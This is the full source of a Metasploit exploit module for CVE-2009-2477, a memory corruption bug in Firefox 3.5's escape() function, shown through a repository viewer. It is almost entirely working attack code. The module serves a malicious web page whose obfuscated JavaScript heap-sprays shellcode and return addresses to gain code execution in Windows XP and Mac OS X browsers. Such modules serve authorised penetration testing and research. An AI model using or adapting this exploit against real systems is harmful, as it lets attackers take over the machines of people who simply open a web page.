Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_escape_retval.rb
32436 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
#
10
# This module acts as an HTTP server
11
#
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
# include Msf::Exploit::Remote::BrowserAutopwn
15
# autopwn_info({
16
# :ua_name => HttpClients::FF,
17
# :ua_minver => "3.5",
18
# :ua_maxver => "3.5",
19
# :os_name => OperatingSystems::Match::WINDOWS,
20
# :javascript => true,
21
# :rank => NormalRanking, # reliable memory corruption
22
# :vuln_test => nil,
23
# })
24
25
def initialize(info = {})
26
super(
27
update_info(
28
info,
29
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',
30
'Description' => %q{
31
This module exploits a memory corruption vulnerability in the Mozilla
32
Firefox browser. This flaw occurs when a bug in the javascript interpreter
33
fails to preserve the return value of the escape() function and results in
34
uninitialized memory being used instead. This module has only been tested
35
on Windows, but should work on other platforms as well with the current
36
targets.
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit
41
'hdm', # Metasploit conversion
42
],
43
'References' => [
44
['CVE', '2009-2477'],
45
['OSVDB', '55846'],
46
['BID', '35660'],
47
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
48
],
49
'Payload' => {
50
'Space' => 1000 + (rand(256).to_i * 4),
51
'BadChars' => "\x00"
52
},
53
'Targets' => [
54
[
55
'Firefox 3.5.0 on Windows XP SP0-SP3',
56
{
57
'Platform' => 'win',
58
'Arch' => ARCH_X86,
59
'Ret' => 0x0c0c0c0c,
60
'BlockLen' => 0x60000,
61
'Containers' => 800
62
}
63
],
64
[
65
'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
66
{
67
'Platform' => 'osx',
68
'Arch' => ARCH_X86,
69
'Ret' => 0x41414141,
70
'BlockLen' => 496,
71
'Containers' => 800000
72
}
73
]
74
],
75
'DefaultTarget' => 0,
76
'DisclosureDate' => '2009-07-13',
77
'Notes' => {
78
'Reliability' => UNKNOWN_RELIABILITY,
79
'Stability' => UNKNOWN_STABILITY,
80
'SideEffects' => UNKNOWN_SIDE_EFFECTS
81
}
82
)
83
)
84
end
85
86
def on_request_uri(cli, _request)
87
# Re-generate the payload
88
return if ((p = regenerate_payload(cli)).nil?)
89
90
print_status("Sending #{name}")
91
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
92
handler(cli)
93
end
94
95
def generate_html(payload)
96
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
97
Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
98
enc_ret = Rex::Text.to_unescape(
99
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
100
)
101
102
var_data_str1 = Rex::Text.rand_text_alpha(3)
103
var_data_str2 = Rex::Text.rand_text_alpha(4)
104
js = <<~EOF
105
var xunescape = unescape;
106
var shellcode = xunescape("#{enc_code}");
107
108
oneblock = xunescape("#{enc_ret}");
109
110
var fullblock = oneblock;
111
while (fullblock.length < #{target['BlockLen']})
112
{
113
fullblock += fullblock;
114
}
115
116
var sprayContainer = new Array();
117
var sprayready = false;
118
var sprayContainerIndex = 0;
119
120
function fill_function()
121
{
122
if(! sprayready) {
123
for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
124
{
125
sprayContainer[sprayContainerIndex] = fullblock + shellcode;
126
}
127
} else {
128
DataTranslator();
129
GenerateHTML();
130
}
131
if(sprayContainer.length >= #{target['Containers']}) {
132
sprayready = true;
133
}
134
}
135
136
var searchArray = new Array();
137
138
function escapeData(data)
139
{
140
var xi;
141
var xc;
142
var escData='';
143
for(xi=0; xi<data.length; xi++)
144
{
145
xc=data.charAt(xi);
146
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
147
escData+=xc;
148
}
149
return escData;
150
}
151
152
function DataTranslator()
153
{
154
searchArray = new Array();
155
searchArray[0] = new Array();
156
searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
157
var newElement = document.getElementById("content");
158
if (document.getElementsByTagName) {
159
var xi=0;
160
pTags = newElement.getElementsByTagName("p");
161
if (pTags.length > 0)
162
while (xi < pTags.length)
163
{
164
oTags = pTags[xi].getElementsByTagName("font");
165
searchArray[xi+1] = new Array();
166
if (oTags[0]) {
167
searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
168
}
169
xi++;
170
}
171
}
172
}
173
174
function GenerateHTML()
175
{
176
var xhtml = "";
177
for (xi=1;xi<searchArray.length;xi++)
178
{
179
xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
180
}
181
}
182
183
setInterval("fill_function()", .5);
184
EOF
185
186
# Obfuscate it up a bit
187
js = obfuscate_js(js, 'Symbols' => {
188
'Variables' => %w[
189
DataTranslator GenerateHTML escapeData xunescape
190
shellcode oneblock fullblock sprayContainer xi searchArray xc
191
escData xhtml pTags oTags newElement sprayready sprayContainerIndex
192
fill_function
193
]
194
}).to_s
195
196
str1 = Rex::Text.rand_text_alpha(20)
197
str2 = Rex::Text.rand_text_alpha(24)
198
str3 = Rex::Text.rand_text_alpha(10) + ' '
199
200
return %(
201
<html>
202
<head>
203
<div id="content">
204
<p>
205
<FONT>
206
</FONT>
207
</p>
208
<p>
209
<FONT>#{str1}</FONT></p>
210
<p>
211
<FONT>#{str2}</FONT>
212
</p>
213
<p>
214
<FONT>#{str3}</FONT>
215
</p>
216
</div>
217
<script language="JavaScript">
218
#{js}
219
</script>
220
</body>
221
</html>
222
)
223
end
224
end
225
226